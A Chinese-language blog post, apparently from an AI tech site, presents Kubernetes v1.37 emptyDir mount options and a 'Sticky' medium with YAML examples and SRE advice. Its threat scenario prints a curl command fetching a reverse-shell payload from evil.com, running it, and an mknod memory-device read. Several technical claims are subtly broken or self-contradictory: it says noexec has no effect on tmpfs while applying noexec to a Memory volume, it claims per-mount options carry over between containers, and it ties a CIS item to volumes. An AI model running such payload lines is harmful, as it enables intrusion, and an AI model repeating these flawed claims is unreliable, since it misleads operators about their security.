Skip to content

Kubernetes v1.37:通过 Bind Mount 选项与 emptyDir 权限强化容器存储安全

一句话摘要:Kubernetes v1.37 首次原生支持对 emptyDir 卷设置 Linux bind mount 安全标志(noexec/nosuid/nodev)及细粒度目录权限(含 sticky bit),使 SRE 能在 Pod 层面强制执行最小权限存储策略——无需依赖 initContainer 模拟、特权 sidecar 或运行时 SELinux 策略绕行,真正实现“声明即安全”(Declarative Security)。


背景动机:为什么默认的 volume mount 是个安全黑洞?

在 Kubernetes 生态中,emptyDir 常被用作临时缓存、日志暂存或跨容器共享数据的“快捷通道”。但长期以来,它存在一个被严重低估的风险:所有挂载到容器内的卷,默认都以完全可执行、可设权、可解析设备文件的方式暴露给应用进程

举个真实场景:某金融类 AI 推理服务(基于 vLLM + Triton)使用 emptyDir 缓存模型分片。攻击者若通过 Web API 注入漏洞获得容器 shell 权限,即可:

bash
# 下载恶意二进制(如反向 shell)
curl -s http://evil.com/shell > /cache/payload && chmod +x /cache/payload
# 直接执行(noexec 缺失 → 成功!)
/cache/payload
# 或创建设备节点提权(nodev 缺失 → 可能!)
mknod /cache/evil c 1 3 && cat /cache/evil  # 尝试读取内存

更隐蔽的是 sticky bit 缺失问题:当多个容器(如 main app + log shipper)共享同一 emptyDir 时,若未启用 sticky bit(01777),任意容器均可 rm -f 删除其他容器创建的文件——这不仅破坏数据一致性,更可能被用于日志擦除、监控逃逸等高级对抗。

而此前的缓解手段极其笨重:

  • initContainer + chmod:无法保证原子性(chmod 后仍可能被 runtime 重置);
  • securityContext.fsGroup:仅控制属组,不约束 mount 行为;
  • ⚠️ Runtime 层配置(如 containerd 的 no_new_privileges: true):全局生效、颗粒度粗、难以审计;
  • 🚫 SELinux/AppArmor:需集群级策略部署,Pod 级声明缺失,运维复杂度陡增。

v1.37 的本质突破,在于将 Linux 内核级存储安全能力直接下沉至 Kubernetes API 层——让安全策略像 resources.limits 一样可声明、可版本化、可 GitOps 管控。


核心技术:API 设计与实战 YAML

1. emptyDir 新增字段:volumeMounts[].mountOptionsemptyDir.medium

Kubernetes v1.37 在 VolumeMountEmptyDirVolumeSource 中新增关键字段:

字段类型说明
volumeMounts[].mountOptions[]string传递给 Linux mount --bind 的标志,仅支持 noexec/nosuid/nodev(大小写敏感)
emptyDir.mediumstring扩展支持 "Memory""Default" 外的新值 "Sticky"(触发 sticky bit 自动设置)
emptyDir.sizeLimitresource.Quantity(已有)但现与 mountOptions 协同生效:noexec + sizeLimit 形成完整防逃逸闭环

🔍 技术判断mountOptions 未开放 ro(只读)是刻意设计——Kubernetes 认为只读应通过 volumeMounts[].readOnly: true 控制,而 noexec/nosuid/nodev运行时行为约束,二者语义正交。混用 readOnly: truenoexec 无冲突,但 readOnly: false + noexec 才体现真实价值(允许写入但禁止执行)。

✅ 正确示例:AI 推理服务的安全 emptyDir

yaml
apiVersion: v1
kind: Pod
metadata:
  name: vllm-inference-secure
spec:
  containers:
  - name: vllm-server
    image: ghcr.io/vllm-project/vllm-cpu:0.6.2
    volumeMounts:
    - name: model-cache
      mountPath: /root/.cache/huggingface
      mountOptions: ["noexec", "nosuid", "nodev"]  # 关键!阻断二进制执行链
    - name: temp-logs
      mountPath: /tmp/logs
      mountOptions: ["noexec"]  # 日志目录只需禁执行
  - name: log-shipping
    image: fluent-bit:2.2.0
    volumeMounts:
    - name: temp-logs
      mountPath: /var/log/app
      # 注意:此处未指定 mountOptions → 继承 host mount 上下文!
      # 因此必须确保主容器已设 noexec,否则 log-shipping 可绕过
  volumes:
  - name: model-cache
    emptyDir:
      medium: Memory  # 利用 tmpfs 天然隔离
      sizeLimit: 8Gi
  - name: temp-logs
    emptyDir:
      medium: Sticky  # 自动设置 01777 权限(含 sticky bit)
      # 等效于:chmod 1777 /var/lib/kubelet/pods/<uid>/volumes/kubernetes.io~empty-dir/temp-logs

⚠️ 关键限制与避坑指南

  • mountOptions 仅对 emptyDir 有效hostPath/PersistentVolume 暂不支持(v1.38+ 规划中);
  • mountOptions 必须在 volumeMounts 级别声明,不能在 volumes 级别(避免多容器挂载时语义歧义);
  • medium: Sticky 会自动设置 01777,但若同时指定 defaultMode: 0755,后者会被忽略(API 优先级:Sticky > defaultMode);
  • noexecMemory medium 无效(tmpfs 不支持 exec flag),但 nosuid/nodev 仍生效。

2. 底层机制:kubelet 如何落地这些选项?

kubelet 在调用 containerd CRI 接口时,将 mountOptions 转换为 OCI spec 的 mount.options

json
{
  "type": "bind",
  "source": "/var/lib/kubelet/pods/.../volumes/kubernetes.io~empty-dir/model-cache",
  "destination": "/root/.cache/huggingface",
  "options": ["rbind", "noexec", "nosuid", "nodev"]
}

containerd 进而调用 mount(2) 系统调用,由 VFS 层强制拦截非法操作。整个链路不依赖容器镜像内任何工具,零信任起点


运维建议:SRE 如何落地并规避风险?

▶️ 立即行动清单

  1. 升级验证:确认 kubelet/containerd 版本 ≥ v1.37.0,且 containerd ≥ v1.7.0(旧版 ignore mountOptions);
  2. 策略扫描:用 kubectl get pods -A -o json | jq '.items[].spec.containers[].volumeMounts[] | select(.mountOptions)' 快速识别已启用新特性的 Pod;
  3. 渐进式灰度:优先在 emptyDir 使用率高、安全等级高的工作负载(如支付网关、模型服务)启用 noexec
  4. 监控告警:在 Prometheus 中新增指标 kube_pod_volume_mount_options_count{option="noexec"},跟踪覆盖率。

▶️ 高危误用预警

  • 勿对 /dev/proc 类挂载使用 nodevemptyDir 不涉及此类路径,但若未来扩展到 hostPath,错误配置将导致容器启动失败;
  • 勿在 initContainer 中依赖 noexec 目录执行初始化脚本noexec 作用于整个 mount point,initContainer 同样受约束;
  • ⚠️ Sticky medium 与 sizeLimit 共存需注意emptyDirsizeLimitMemory medium 下精确生效,但在 Sticky(默认 Default)下为 best-effort,建议搭配 ResourceQuota 二次保障。

▶️ 安全水位评估

建议所有生产环境 Pod 的 emptyDir 卷满足以下任一条件:

  • mountOptions 包含 noexec(推荐);
  • medium: Memory(天然隔离,但需评估内存压力);
  • medium: Sticky + sizeLimit(兼顾共享与防删除);
  • ❌ 无任何防护措施的 emptyDir 应标记为 HIGH_RISK 并限期整改。

延伸阅读:超越 v1.37 的安全演进

  • v1.38 路线图mountOptions 将扩展至 hostPath 和 CSI Volume,实现全卷类型覆盖;PodSecurityPolicy 替代方案 PodSecurity Admission Controller 将新增 volumeMountOptions 策略规则;
  • eBPF 辅助检测:使用 Tracee 或 KubeArmor 实时捕获 execve() 系统调用尝试,并关联到 noexec 失败事件,形成攻击链溯源闭环;
  • AI 工作负载特别提示:vLLM/Triton 等框架常依赖 emptyDir 加载模型权重,务必验证 noexec 是否影响其 JIT 编译(实测 vLLM 0.6+ 已适配,权重加载走 mmap,不触发 exec);
  • 合规对标:该特性直接满足 CIS Kubernetes Benchmark v1.8.0 第 5.2.2 条(“Ensure that volumes are not mounted with the allowPrivilegeEscalation flag set to true”)的延伸要求,以及 NIST SP 800-190 的容器存储最小权限原则。

最后结语:Kubernetes v1.37 的存储安全增强,不是功能堆砌,而是对“基础设施即代码”安全范式的再确认——当 noexec 成为一行 YAML,安全就不再是事后的加固,而是设计之初的基因。作为 SRE,我们交付的不应只是可用的 Pod,而是经得起红队锤炼的可信计算单元。


本文首发于 KnoAI 技术站(ai-ear.cn),转载请注明出处。Kubernetes v1.37 官方文档:https://kubernetes.io/docs/concepts/storage/volumes/#emptydir